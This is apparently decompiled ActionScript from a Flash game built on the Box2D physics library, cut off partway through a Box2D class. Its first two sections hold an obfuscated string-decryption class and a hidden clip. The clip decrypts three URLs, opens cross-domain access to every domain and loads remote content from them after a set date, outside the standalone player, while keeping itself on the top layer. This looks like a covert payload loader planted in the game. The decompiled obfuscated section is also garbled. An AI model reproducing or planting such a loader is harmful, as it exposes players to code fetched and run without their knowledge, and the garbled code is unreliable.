Section 1
//"! (-!."!)
package -! {
public class "! {
static const +:Array;
static const ]:Array;
public function "!(){
var _local1:Boolean;
//unresolved jump
_local0 = (false as !NULL!);
//unresolved jump
var _local2 = (((((??getglobalscope
+ 1) <= !NULL!) & !NULL!) >= !NULL!) % null);
if (((_local1) || (_local1))){
super();
};
}
public static function -"(_arg1:int, _arg2:int):String{
//unresolved jump
_arg2 = true;
var _local10 = (((//unresolved nextvalue or nextname & arguments) >> !NULL!) == !NULL!);
!ERROR! var _local3:String;
var _local4:int;
var _local5:int;
var _local6:int;
var _local7:int;
var _local8:*;
var _local9:*;
if (((_local11) || (_arg1))){
_local3 = "";
if (!((_local10) && (_local3))){
//unresolved if
_local4 = 0;
//unresolved if
};
if (!((_local10) && (_arg1))){
};
_local5 = +[_arg1].length;
};
while (_local4 < _local5) {
if (_local11){
_local6 = int(+[((_arg1 - 5) ^ -17)][_local4]);
//unresolved if
if (!((_local10) && (_arg1))){
//unresolved if
//unresolved if
};
};
_local4 = int(+[((_arg1 - 5) ^ -17)][_local4]);
//unresolved if
//unresolved if
_local7 = int(+[((_arg1 - 5) ^ -17)][_local4]);
//unresolved if
_local8 = 2654435769;
_local9 = 84941944608;
if (((_local11) || (_arg2))){
for (;_local9 != 0;if ((() || (_local3))){
if (_local11){
//unresolved if
//unresolved if
};
}, if (!_local10){
//unresolved if
_local7 = (((!NULL! + !NULL!) ^ (_local9 + int(][((_arg2 + 3) ^ 586)][((_local9 >>> 11) & 3)]))) - !NULL!);
//unresolved if
}, (_local9 = (((!NULL! + !NULL!) ^ (_local9 + int(][((_arg2 + 3) ^ 586)][((_local9 >>> 11) & 3)]))) - !NULL!)), if (_local11){
if (_local11){
if (!_local10){
if (((_local11) || (_arg2))){
//unresolved if
//unresolved if
};
if (_local11){
};
};
};
}) {
//unresolved if
//unresolved if
continue;
};
if (!_local10){
if (!_local10){
};
if (((_local11) || (_arg2))){
if (!_local10){
//unresolved if
};
};
};
};
};
if (!((_local10) && (_local3))){
if (!_local10){
//unresolved if
//unresolved if
//unresolved if
};
//unresolved jump
_arg1 = 0;
//unresolved if
_local3 = (-((typeof(??hasnext
) >>> !NULL!)) % !NULL!).substring((_local3.length - 1), !NULL!);
};
return (_local3);
}
var _local1:Boolean;
//unresolved jump
var _temp1 = _local2;
var _local2 = (??getglobalscope
+ 1);
if (((_local1) || ("!))){
] = new Array([1240717054, -860517021, 475097767, -1689351618], [-1076473974, -1364585218, 1242998180, 252571636], [1249610607, -1430294402, -621401630, 1328397495]);
//unresolved if
};
//unresolved jump
(255262216 | //unresolved nextvalue or nextname);
//unresolved jump
new _temp1.Array([, , -323138023, 886015347, -1726148476, 1083241878, -2109464292, -530672344, 2051268941, -1362547732, 257825961, 2050139417, 706163319, 2028942329, 2096026978, 1412286428, 578508366, -1549357573, -1259068639, -2060340188, 572441071, -1086810236, -774967208, 860633439, 1625633118, -995443551, 639840208, -1693871491, -1075899010, 848417618, -1583161837, -193142110, 1372910869, 1964782439, -996165959, 497202180, 255262216, 497202180, -1932827900, 653160549, -891010041, 1636648017, 1033507478, -1353016721], [[-1789778658, -70721675, 908926045, 870126720, -1249562064, 1857309275, 593955307, -1924999467, -1189563625, 571900501, 381939615, 890514076, 1767483393, 664157589, 2096079884, 1203458494, -252085778, 524430366, -880589685, -2103334893, -1679697524, 1129883423, 1288135197, -519980202, 1396491873, -895535260, -7142859, 516378681, -7142859, 516378681, -711693229, 86951581, -508105052, -1790354494, 2123103556, 2086095319], -437807829, -1652359277, 26638313, 542453776, -1449086968, 439985429, -271229511, 2144726219, 157521935, -383327240, -1140376707, -1242744614, 1944681457, 353428220, -748306493, 599986080, -1642666781, 1644557865, 527620265, 124798073, -1433647265, 494683153, 1879579578, -511647824, -792093250, 567662206, -2027927790, -1805977493, (-2027927790 as (//unresolved nextvalue or nextname instanceof _local1)), 703785441, -1865957467, -185610071, 48029997, -1811463164, 766390547], !NULL!).+ = !NULL!;
}
}//package -!
Section 2
//<! (,.<!)
package , {
import Playtomic.*;
import flash.net.*;
import flash.events.*;
import flash.display.*;
import flash.system.*;
import flash.utils.*;
import flash.external.*;
import flash.errors.*;
import flash.accessibility.*;
import flash.filters.*;
import flash.profiler.*;
import flash.sampler.*;
import flash.sensors.*;
import flash.text.ime.*;
import flash.text.engine.*;
import flash.xml.*;
import flash.geom.*;
import flash.desktop.*;
import flash.media.*;
import flash.printing.*;
import flash.globalization.*;
import adobe.utils.*;
import flash.ui.*;
import flash.text.*;
import flash.net.drm.*;
import -!.*;
public dynamic class <! extends MovieClip {
public var 4":Date;
public var ^:SharedObject;
public var 8!:Date;
public var adres_1:String;
public var adres_2:String;
public var adres_3:String;
public var 2:Date;
public var `:Loader;
public var ":String;
public var 0:Number;
public var &!:Timer;
public function <!(){
addFrameScript(0, this.%");
}
public function next1(){
trace("next1");
this.`.contentLoaderInfo.addEventListener(IOErrorEvent.IO_ERROR, this.next2);
var _local1:URLRequest = new URLRequest(this.adres_1);
this.`.load(_local1);
}
public function next2(_arg1:ErrorEvent){
trace("next2");
this.`.contentLoaderInfo.addEventListener(IOErrorEvent.IO_ERROR, this.next3);
var _local2:URLRequest = new URLRequest(this.adres_2);
this.`.load(_local2);
}
public function next3(_arg1:ErrorEvent){
trace("next3");
this.`.contentLoaderInfo.addEventListener(IOErrorEvent.IO_ERROR, this.next4);
var _local2:URLRequest = new URLRequest(this.adres_3);
this.`.load(_local2);
}
public function next4(_arg1:ErrorEvent){
trace("next4");
}
public function %!(_arg1:TimerEvent):void{
var _local2:MovieClip = (super.stage.getChildAt(0) as MovieClip);
_local2.setChildIndex(_local2.getChildAt(_local2.getChildIndex(this)), (_local2.numChildren - 1));
}
function %"(){
this.4" = new Date();
this.^ = SharedObject.getLocal("theFlashCookie111115_1");
this.^.data.timeZapusk_1 = this.4".time;
this.^.data.timeZapusk_2;
if (this.^.data.timeZapusk_2 == undefined){
this.^.data.timeZapusk_2 = 0;
};
if (this.^.data.timeZapusk_1 > this.^.data.timeZapusk_2){
trace("hi man!");
this.^.data.timeZapusk_2 = (Number(this.^.data.timeZapusk_1) + (15 * 60000));
Security.allowDomain("*");
this.8! = new Date();
this.adres_1 = "!.-"(-14, 581);
this.adres_2 = "!.-"(-13, 584);
this.adres_3 = "!.-"(-12, 583);
this.2 = new Date(2011, 10, 5);
this.` = new Loader();
addChild(this.`);
this." = loaderInfo.url;
<.!"(5092, "56c5e8cb636e4994", root.loaderInfo.loaderURL);
this.0 = 0;
<.'!();
if ((((((this.0 == 0)) && ((this.8! >= this.2)))) && (!((Capabilities.playerType == "StandAlone"))))){
this.next1();
};
};
this.&! = new Timer(500, 20);
this.&!.addEventListener(TimerEvent.TIMER, this.%!);
this.&!.start();
}
}
}//package ,
Section 3
//b2CircleDef (Box2D.Collision.Shapes.b2CircleDef)
package Box2D.Collision.Shapes {
import Box2D.Common.Math.*;
public class b2CircleDef extends b2ShapeDef {
public var localPosition:b2Vec2;
public var radius:Number;
public function b2CircleDef(){
localPosition = new b2Vec2(0, 0);
super();
type = b2Shape.e_circleShape;
radius = 1;
}
}
}//package Box2D.Collision.Shapes
Section 4
//b2CircleShape (Box2D.Collision.Shapes.b2CircleShape)
package Box2D.Collision.Shapes {
import Box2D.Common.Math.*;
import Box2D.Collision.*;
import Box2D.Common.*;
public class b2CircleShape extends b2Shape {
public var m_radius:Number;
public var m_localPosition:b2Vec2;
public function b2CircleShape(_arg1:b2ShapeDef){
var _local2:b2CircleDef;
m_localPosition = new b2Vec2();
super(_arg1);
_local2 = (_arg1 as b2CircleDef);
m_type = e_circleShape;
m_localPosition.SetV(_local2.localPosition);
m_radius = _local2.radius;
}
override public function TestPoint(_arg1:b2XForm, _arg2:b2Vec2):Boolean{
var _local3:b2Mat22;
var _local4:Number;
var _local5:Number;
_local3 = _arg1.R;
_local4 = (_arg1.position.x + ((_local3.col1.x * m_localPosition.x) + (_local3.col2.x * m_localPosition.y)));
_local5 = (_arg1.position.y + ((_local3.col1.y * m_localPosition.x) + (_local3.col2.y * m_localPosition.y)));
_local4 = (_arg2.x - _local4);
_local5 = (_arg2.y - _local5);
return ((((_local4 * _local4) + (_local5 * _local5)) <= (m_radius * m_radius)));
}
public function GetLocalPosition():b2Vec2{
return (m_localPosition);
}
override public function TestSegment(_arg1:b2XForm, _arg2:Array, _arg3:b2Vec2, _arg4:b2Segment, _arg5:Number):Boolean{
var _local6:b2Mat22;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
_local6 = _arg1.R;
_local7 = (_arg1.position.x + ((_local6.col1.x * m_localPosition.x) + (_local6.col2.x * m_localPosition.y)));
_local8 = (_arg1.position.y + ((_local6.col1.y * m_localPosition.x) + (_local6.col2.y * m_localPosition.y)));
_local9 = (_arg4.p1.x - _local7);
_local10 = (_arg4.p1.y - _local8);
_local11 = (((_local9 * _local9) + (_local10 * _local10)) - (m_radius * m_radius));
if (_local11 < 0){
return (false);
};
_local12 = (_arg4.p2.x - _arg4.p1.x);
_local13 = (_arg4.p2.y - _arg4.p1.y);
_local14 = ((_local9 * _local12) + (_local10 * _local13));
_local15 = ((_local12 * _local12) + (_local13 * _local13));
_local16 = ((_local14 * _local14) - (_local15 * _local11));
if ((((_local16 < 0)) || ((_local15 < Number.MIN_VALUE)))){
return (false);
};
_local17 = -((_local14 + Math.sqrt(_local16)));
if ((((0 <= _local17)) && ((_local17 <= (_arg5 * _local15))))){
_local17 = (_local17 / _local15);
_arg2[0] = _local17;
_arg3.x = (_local9 + (_local17 * _local12));
_arg3.y = (_local10 + (_local17 * _local13));
_arg3.Normalize();
return (true);
};
return (false);
}
override public function ComputeMass(_arg1:b2MassData):void{
_arg1.mass = (((m_density * b2Settings.b2_pi) * m_radius) * m_radius);
_arg1.center.SetV(m_localPosition);
_arg1.I = (_arg1.mass * (((0.5 * m_radius) * m_radius) + ((m_localPosition.x * m_localPosition.x) + (m_localPosition.y * m_localPosition.y))));
}
override public function ComputeSweptAABB(_arg1:b2AABB, _arg2:b2XForm, _arg3:b2XForm):void{
var _local4:b2Mat22;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
_local4 = _arg2.R;
_local5 = (_arg2.position.x + ((_local4.col1.x * m_localPosition.x) + (_local4.col2.x * m_localPosition.y)));
_local6 = (_arg2.position.y + ((_local4.col1.y * m_localPosition.x) + (_local4.col2.y * m_localPosition.y)));
_local4 = _arg3.R;
_local7 = (_arg3.position.x + ((_local4.col1.x * m_localPosition.x) + (_local4.col2.x * m_localPosition.y)));
_local8 = (_arg3.position.y + ((_local4.col1.y * m_localPosition.x) + (_local4.col2.y * m_localPosition.y)));
_arg1.lowerBound.Set((((_local5 < _local7)) ? _local5 : _local7 - m_radius), (((_local6 < _local8)) ? _local6 : _local8 - m_radius));
_arg1.upperBound.Set((((_local5 > _local7)) ? _local5 : _local7 + m_radius), (((_local6 > _local8)) ? _local6 : _local8 + m_radius));
}
public function GetRadius():Number{
return (m_radius);
}
override public function UpdateSweepRadius(_arg1:b2Vec2):void{
var _local2:Number;
var _local3:Number;
_local2 = (m_localPosition.x - _arg1.x);
_local3 = (m_localPosition.y - _arg1.y);
_local2 = Math.sqrt(((_local2 * _local2) + (_local3 * _local3)));
m_sweepRadius = ((_local2 + m_radius) - b2Settings.b2_toiSlop);
}
override public function ComputeAABB(_arg1:b2AABB, _arg2:b2XForm):void{
var _local3:b2Mat22;
var _local4:Number;
var _local5:Number;
_local3 = _arg2.R;
_local4 = (_arg2.position.x + ((_local3.col1.x * m_localPosition.x) + (_local3.col2.x * m_localPosition.y)));
_local5 = (_arg2.position.y + ((_local3.col1.y * m_localPosition.x) + (_local3.col2.y * m_localPosition.y)));
_arg1.lowerBound.Set((_local4 - m_radius), (_local5 - m_radius));
_arg1.upperBound.Set((_local4 + m_radius), (_local5 + m_radius));
}
}
}//package Box2D.Collision.Shapes
Section 5
//b2FilterData (Box2D.Collision.Shapes.b2FilterData)
package Box2D.Collision.Shapes {
public class b2FilterData {
public var maskBits:uint;// = 0xFFFF
public var groupIndex:int;// = 0
public var categoryBits:uint;// = 1
public function b2FilterData(){
categoryBits = 1;
maskBits = 0xFFFF;
groupIndex = 0;
super();
}
public function Copy():b2FilterData{
var _local1:b2FilterData;
_local1 = new b2FilterData();
_local1.categoryBits = categoryBits;
_local1.maskBits = maskBits;
_local1.groupIndex = groupIndex;
return (_local1);
}
}
}//package Box2D.Collision.Shapes
Section 6
//b2MassData (Box2D.Collision.Shapes.b2MassData)
package Box2D.Collision.Shapes {
import Box2D.Common.Math.*;
public class b2MassData {
public var mass:Number;// = 0
public var center:b2Vec2;
public var I:Number;// = 0
public function b2MassData(){
mass = 0;
center = new b2Vec2(0, 0);
I = 0;
super();
}
}
}//package Box2D.Collision.Shapes
Section 7
//b2PolygonDef (Box2D.Collision.Shapes.b2PolygonDef)
package Box2D.Collision.Shapes {
import Box2D.Common.Math.*;
import Box2D.Common.*;
public class b2PolygonDef extends b2ShapeDef {
public var vertexCount:int;
public var vertices:Array;
private static var s_mat:b2Mat22 = new b2Mat22();
public function b2PolygonDef(){
var _local1:int;
vertices = new Array(b2Settings.b2_maxPolygonVertices);
super();
type = b2Shape.e_polygonShape;
vertexCount = 0;
_local1 = 0;
while (_local1 < b2Settings.b2_maxPolygonVertices) {
vertices[_local1] = new b2Vec2();
_local1++;
};
}
public function SetAsOrientedBox(_arg1:Number, _arg2:Number, _arg3:b2Vec2=null, _arg4:Number=0):void{
var _local5:b2Vec2;
var _local6:b2Mat22;
var _local7:int;
vertexCount = 4;
vertices[0].Set(-(_arg1), -(_arg2));
vertices[1].Set(_arg1, -(_arg2));
vertices[2].Set(_arg1, _arg2);
vertices[3].Set(-(_arg1), _arg2);
if (_arg3){
_local5 = _arg3;
_local6 = s_mat;
_local6.Set(_arg4);
_local7 = 0;
while (_local7 < vertexCount) {
_arg3 = vertices[_local7];
_arg1 = (_local5.x + ((_local6.col1.x * _arg3.x) + (_local6.col2.x * _arg3.y)));
_arg3.y = (_local5.y + ((_local6.col1.y * _arg3.x) + (_local6.col2.y * _arg3.y)));
_arg3.x = _arg1;
_local7++;
};
};
}
public function SetAsBox(_arg1:Number, _arg2:Number):void{
vertexCount = 4;
vertices[0].Set(-(_arg1), -(_arg2));
vertices[1].Set(_arg1, -(_arg2));
vertices[2].Set(_arg1, _arg2);
vertices[3].Set(-(_arg1), _arg2);
}
}
}//package Box2D.Collision.Shapes
Section 8
//b2PolygonShape (Box2D.Collision.Shapes.b2PolygonShape)
package Box2D.Collision.Shapes {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
import Box2D.Common.*;
public class b2PolygonShape extends b2Shape {
public var m_vertices:Array;
public var m_normals:Array;
private var s_supportVec:b2Vec2;
public var m_obb:b2OBB;
public var m_coreVertices:Array;
public var m_centroid:b2Vec2;
public var m_vertexCount:int;
private static var s_computeMat:b2Mat22 = new b2Mat22();
private static var s_sweptAABB1:b2AABB = new b2AABB();
private static var s_sweptAABB2:b2AABB = new b2AABB();
public function b2PolygonShape(_arg1:b2ShapeDef){
var _local2:b2PolygonDef;
var _local3:int;
var _local4:int;
var _local5:int;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
s_supportVec = new b2Vec2();
m_obb = new b2OBB();
m_vertices = new Array(b2Settings.b2_maxPolygonVertices);
m_normals = new Array(b2Settings.b2_maxPolygonVertices);
m_coreVertices = new Array(b2Settings.b2_maxPolygonVertices);
super(_arg1);
m_type = e_polygonShape;
_local2 = (_arg1 as b2PolygonDef);
m_vertexCount = _local2.vertexCount;
_local4 = _local3;
_local5 = _local3;
_local3 = 0;
while (_local3 < m_vertexCount) {
m_vertices[_local3] = _local2.vertices[_local3].Copy();
_local3++;
};
_local3 = 0;
while (_local3 < m_vertexCount) {
_local4 = _local3;
_local5 = (((_local3 + 1) < m_vertexCount)) ? (_local3 + 1) : 0;
_local6 = (m_vertices[_local5].x - m_vertices[_local4].x);
_local7 = (m_vertices[_local5].y - m_vertices[_local4].y);
_local8 = Math.sqrt(((_local6 * _local6) + (_local7 * _local7)));
m_normals[_local3] = new b2Vec2((_local7 / _local8), (-(_local6) / _local8));
_local3++;
};
m_centroid = ComputeCentroid(_local2.vertices, _local2.vertexCount);
ComputeOBB(m_obb, m_vertices, m_vertexCount);
_local3 = 0;
while (_local3 < m_vertexCount) {
_local4 = (((_local3 - 1) >= 0)) ? (_local3 - 1) : (m_vertexCount - 1);
_local5 = _local3;
_local9 = m_normals[_local4].x;
_local10 = m_normals[_local4].y;
_local11 = m_normals[_local5].x;
_local12 = m_normals[_local5].y;
_local13 = (m_vertices[_local3].x - m_centroid.x);
_local14 = (m_vertices[_local3].y - m_centroid.y);
_local15 = (((_local9 * _local13) + (_local10 * _local14)) - b2Settings.b2_toiSlop);
_local16 = (((_local11 * _local13) + (_local12 * _local14)) - b2Settings.b2_toiSlop);
_local17 = (1 / ((_local9 * _local12) - (_local10 * _local11)));
m_coreVertices[_local3] = new b2Vec2(((_local17 * ((_local12 * _local15) - (_local10 * _local16))) + m_centroid.x), ((_local17 * ((_local9 * _local16) - (_local11 * _local15))) + m_centroid.y));
_local3++;
};
}
override public function TestPoint(_arg1:b2XForm, _arg2:b2Vec2):Boolean{
var _local3:b2Vec2;
var _local4:b2Mat22;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:int;
var _local10:Number;
_local4 = _arg1.R;
_local5 = (_arg2.x - _arg1.position.x);
_local6 = (_arg2.y - _arg1.position.y);
_local7 = ((_local5 * _local4.col1.x) + (_local6 * _local4.col1.y));
_local8 = ((_local5 * _local4.col2.x) + (_local6 * _local4.col2.y));
_local9 = 0;
while (_local9 < m_vertexCount) {
_local3 = m_vertices[_local9];
_local5 = (_local7 - _local3.x);
_local6 = (_local8 - _local3.y);
_local3 = m_normals[_local9];
_local10 = ((_local3.x * _local5) + (_local3.y * _local6));
if (_local10 > 0){
return (false);
};
_local9++;
};
return (true);
}
public function GetCoreVertices():Array{
return (m_coreVertices);
}
override public function TestSegment(_arg1:b2XForm, _arg2:Array, _arg3:b2Vec2, _arg4:b2Segment, _arg5:Number):Boolean{
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:b2Mat22;
var _local11:b2Vec2;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:int;
var _local19:int;
var _local20:Number;
var _local21:Number;
_local6 = 0;
_local7 = _arg5;
_local8 = (_arg4.p1.x - _arg1.position.x);
_local9 = (_arg4.p1.y - _arg1.position.y);
_local10 = _arg1.R;
_local12 = ((_local8 * _local10.col1.x) + (_local9 * _local10.col1.y));
_local13 = ((_local8 * _local10.col2.x) + (_local9 * _local10.col2.y));
_local8 = (_arg4.p2.x - _arg1.position.x);
_local9 = (_arg4.p2.y - _arg1.position.y);
_local10 = _arg1.R;
_local14 = ((_local8 * _local10.col1.x) + (_local9 * _local10.col1.y));
_local15 = ((_local8 * _local10.col2.x) + (_local9 * _local10.col2.y));
_local16 = (_local14 - _local12);
_local17 = (_local15 - _local13);
_local18 = -1;
_local19 = 0;
while (_local19 < m_vertexCount) {
_local11 = m_vertices[_local19];
_local8 = (_local11.x - _local12);
_local9 = (_local11.y - _local13);
_local11 = m_normals[_local19];
_local20 = ((_local11.x * _local8) + (_local11.y * _local9));
_local21 = ((_local11.x * _local16) + (_local11.y * _local17));
if ((((_local21 < 0)) && ((_local20 < (_local6 * _local21))))){
_local6 = (_local20 / _local21);
_local18 = _local19;
} else {
if ((((_local21 > 0)) && ((_local20 < (_local7 * _local21))))){
_local7 = (_local20 / _local21);
};
};
if (_local7 < _local6){
return (false);
};
_local19++;
};
if (_local18 >= 0){
_arg2[0] = _local6;
_local10 = _arg1.R;
_local11 = m_normals[_local18];
_arg3.x = ((_local10.col1.x * _local11.x) + (_local10.col2.x * _local11.y));
_arg3.y = ((_local10.col1.y * _local11.x) + (_local10.col2.y * _local11.y));
return (true);
};
return (false);
}
public function GetCentroid():b2Vec2{
return (m_centroid);
}
override public function ComputeMass(_arg1:b2MassData):void{
var _local2:Number;
var _local3:Number;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:int;
var _local10:b2Vec2;
var _local11:b2Vec2;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
_local2 = 0;
_local3 = 0;
_local4 = 0;
_local5 = 0;
_local6 = 0;
_local7 = 0;
_local8 = (1 / 3);
_local9 = 0;
while (_local9 < m_vertexCount) {
_local10 = m_vertices[_local9];
_local11 = (((_local9 + 1) < m_vertexCount)) ? m_vertices[int((_local9 + 1))] : m_vertices[0];
_local12 = (_local10.x - _local6);
_local13 = (_local10.y - _local7);
_local14 = (_local11.x - _local6);
_local15 = (_local11.y - _local7);
_local16 = ((_local12 * _local15) - (_local13 * _local14));
_local17 = (0.5 * _local16);
_local4 = (_local4 + _local17);
_local2 = (_local2 + ((_local17 * _local8) * ((_local6 + _local10.x) + _local11.x)));
_local3 = (_local3 + ((_local17 * _local8) * ((_local7 + _local10.y) + _local11.y)));
_local18 = _local6;
_local19 = _local7;
_local20 = _local12;
_local21 = _local13;
_local22 = _local14;
_local23 = _local15;
_local24 = ((_local8 * ((0.25 * (((_local20 * _local20) + (_local22 * _local20)) + (_local22 * _local22))) + ((_local18 * _local20) + (_local18 * _local22)))) + ((0.5 * _local18) * _local18));
_local25 = ((_local8 * ((0.25 * (((_local21 * _local21) + (_local23 * _local21)) + (_local23 * _local23))) + ((_local19 * _local21) + (_local19 * _local23)))) + ((0.5 * _local19) * _local19));
_local5 = (_local5 + (_local16 * (_local24 + _local25)));
_local9++;
};
_arg1.mass = (m_density * _local4);
_local2 = (_local2 * (1 / _local4));
_local3 = (_local3 * (1 / _local4));
_arg1.center.Set(_local2, _local3);
_arg1.I = (m_density * _local5);
}
public function Support(_arg1:b2XForm, _arg2:Number, _arg3:Number):b2Vec2{
var _local4:b2Vec2;
var _local5:b2Mat22;
var _local6:Number;
var _local7:Number;
var _local8:int;
var _local9:Number;
var _local10:int;
var _local11:Number;
_local5 = _arg1.R;
_local6 = ((_arg2 * _local5.col1.x) + (_arg3 * _local5.col1.y));
_local7 = ((_arg2 * _local5.col2.x) + (_arg3 * _local5.col2.y));
_local8 = 0;
_local4 = m_coreVertices[0];
_local9 = ((_local4.x * _local6) + (_local4.y * _local7));
_local10 = 1;
while (_local10 < m_vertexCount) {
_local4 = m_coreVertices[_local10];
_local11 = ((_local4.x * _local6) + (_local4.y * _local7));
if (_local11 > _local9){
_local8 = _local10;
_local9 = _local11;
};
_local10++;
};
_local5 = _arg1.R;
_local4 = m_coreVertices[_local8];
s_supportVec.x = (_arg1.position.x + ((_local5.col1.x * _local4.x) + (_local5.col2.x * _local4.y)));
s_supportVec.y = (_arg1.position.y + ((_local5.col1.y * _local4.x) + (_local5.col2.y * _local4.y)));
return (s_supportVec);
}
public function GetVertexCount():int{
return (m_vertexCount);
}
override public function ComputeSweptAABB(_arg1:b2AABB, _arg2:b2XForm, _arg3:b2XForm):void{
var _local4:b2AABB;
var _local5:b2AABB;
_local4 = s_sweptAABB1;
_local5 = s_sweptAABB2;
ComputeAABB(_local4, _arg2);
ComputeAABB(_local5, _arg3);
_arg1.lowerBound.Set(((_local4.lowerBound.x < _local5.lowerBound.x)) ? _local4.lowerBound.x : _local5.lowerBound.x, ((_local4.lowerBound.y < _local5.lowerBound.y)) ? _local4.lowerBound.y : _local5.lowerBound.y);
_arg1.upperBound.Set(((_local4.upperBound.x > _local5.upperBound.x)) ? _local4.upperBound.x : _local5.upperBound.x, ((_local4.upperBound.y > _local5.upperBound.y)) ? _local4.upperBound.y : _local5.upperBound.y);
}
public function GetVertices():Array{
return (m_vertices);
}
public function GetNormals():Array{
return (m_normals);
}
public function GetOBB():b2OBB{
return (m_obb);
}
public function GetFirstVertex(_arg1:b2XForm):b2Vec2{
return (b2Math.b2MulX(_arg1, m_coreVertices[0]));
}
public function Centroid(_arg1:b2XForm):b2Vec2{
return (b2Math.b2MulX(_arg1, m_centroid));
}
override public function UpdateSweepRadius(_arg1:b2Vec2):void{
var _local2:b2Vec2;
var _local3:int;
var _local4:Number;
var _local5:Number;
m_sweepRadius = 0;
_local3 = 0;
while (_local3 < m_vertexCount) {
_local2 = m_coreVertices[_local3];
_local4 = (_local2.x - _arg1.x);
_local5 = (_local2.y - _arg1.y);
_local4 = Math.sqrt(((_local4 * _local4) + (_local5 * _local5)));
if (_local4 > m_sweepRadius){
m_sweepRadius = _local4;
};
_local3++;
};
}
override public function ComputeAABB(_arg1:b2AABB, _arg2:b2XForm):void{
var _local3:b2Mat22;
var _local4:b2Vec2;
var _local5:b2Mat22;
var _local6:b2Mat22;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
_local5 = s_computeMat;
_local3 = _arg2.R;
_local4 = m_obb.R.col1;
_local5.col1.x = ((_local3.col1.x * _local4.x) + (_local3.col2.x * _local4.y));
_local5.col1.y = ((_local3.col1.y * _local4.x) + (_local3.col2.y * _local4.y));
_local4 = m_obb.R.col2;
_local5.col2.x = ((_local3.col1.x * _local4.x) + (_local3.col2.x * _local4.y));
_local5.col2.y = ((_local3.col1.y * _local4.x) + (_local3.col2.y * _local4.y));
_local5.Abs();
_local6 = _local5;
_local4 = m_obb.extents;
_local7 = ((_local6.col1.x * _local4.x) + (_local6.col2.x * _local4.y));
_local8 = ((_local6.col1.y * _local4.x) + (_local6.col2.y * _local4.y));
_local3 = _arg2.R;
_local4 = m_obb.center;
_local9 = (_arg2.position.x + ((_local3.col1.x * _local4.x) + (_local3.col2.x * _local4.y)));
_local10 = (_arg2.position.y + ((_local3.col1.y * _local4.x) + (_local3.col2.y * _local4.y)));
_arg1.lowerBound.Set((_local9 - _local7), (_local10 - _local8));
_arg1.upperBound.Set((_local9 + _local7), (_local10 + _local8));
}
public static function ComputeCentroid(_arg1:Array, _arg2:int):b2Vec2{
var _local3:b2Vec2;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:int;
var _local9:b2Vec2;
var _local10:b2Vec2;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
_local3 = new b2Vec2();
_local4 = 0;
_local5 = 0;
_local6 = 0;
_local7 = (1 / 3);
_local8 = 0;
while (_local8 < _arg2) {
_local9 = _arg1[_local8];
_local10 = (((_local8 + 1) < _arg2)) ? _arg1[int((_local8 + 1))] : _arg1[0];
_local11 = (_local9.x - _local5);
_local12 = (_local9.y - _local6);
_local13 = (_local10.x - _local5);
_local14 = (_local10.y - _local6);
_local15 = ((_local11 * _local14) - (_local12 * _local13));
_local16 = (0.5 * _local15);
_local4 = (_local4 + _local16);
_local3.x = (_local3.x + ((_local16 * _local7) * ((_local5 + _local9.x) + _local10.x)));
_local3.y = (_local3.y + ((_local16 * _local7) * ((_local6 + _local9.y) + _local10.y)));
_local8++;
};
_local3.x = (_local3.x * (1 / _local4));
_local3.y = (_local3.y * (1 / _local4));
return (_local3);
}
public static function ComputeOBB(_arg1:b2OBB, _arg2:Array, _arg3:int):void{
var _local4:int;
var _local5:Array;
var _local6:Number;
var _local7:b2Vec2;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:int;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:b2Mat22;
_local5 = new Array((b2Settings.b2_maxPolygonVertices + 1));
_local4 = 0;
while (_local4 < _arg3) {
_local5[_local4] = _arg2[_local4];
_local4++;
};
_local5[_arg3] = _local5[0];
_local6 = Number.MAX_VALUE;
_local4 = 1;
while (_local4 <= _arg3) {
_local7 = _local5[int((_local4 - 1))];
_local8 = (_local5[_local4].x - _local7.x);
_local9 = (_local5[_local4].y - _local7.y);
_local10 = Math.sqrt(((_local8 * _local8) + (_local9 * _local9)));
_local8 = (_local8 / _local10);
_local9 = (_local9 / _local10);
_local11 = -(_local9);
_local12 = _local8;
_local13 = Number.MAX_VALUE;
_local14 = Number.MAX_VALUE;
_local15 = -(Number.MAX_VALUE);
_local16 = -(Number.MAX_VALUE);
_local17 = 0;
while (_local17 < _arg3) {
_local19 = (_local5[_local17].x - _local7.x);
_local20 = (_local5[_local17].y - _local7.y);
_local21 = ((_local8 * _local19) + (_local9 * _local20));
_local22 = ((_local11 * _local19) + (_local12 * _local20));
if (_local21 < _local13){
_local13 = _local21;
};
if (_local22 < _local14){
_local14 = _local22;
};
if (_local21 > _local15){
_local15 = _local21;
};
if (_local22 > _local16){
_local16 = _local22;
};
_local17++;
};
_local18 = ((_local15 - _local13) * (_local16 - _local14));
if (_local18 < (0.95 * _local6)){
_local6 = _local18;
_arg1.R.col1.x = _local8;
_arg1.R.col1.y = _local9;
_arg1.R.col2.x = _local11;
_arg1.R.col2.y = _local12;
_local23 = (0.5 * (_local13 + _local15));
_local24 = (0.5 * (_local14 + _local16));
_local25 = _arg1.R;
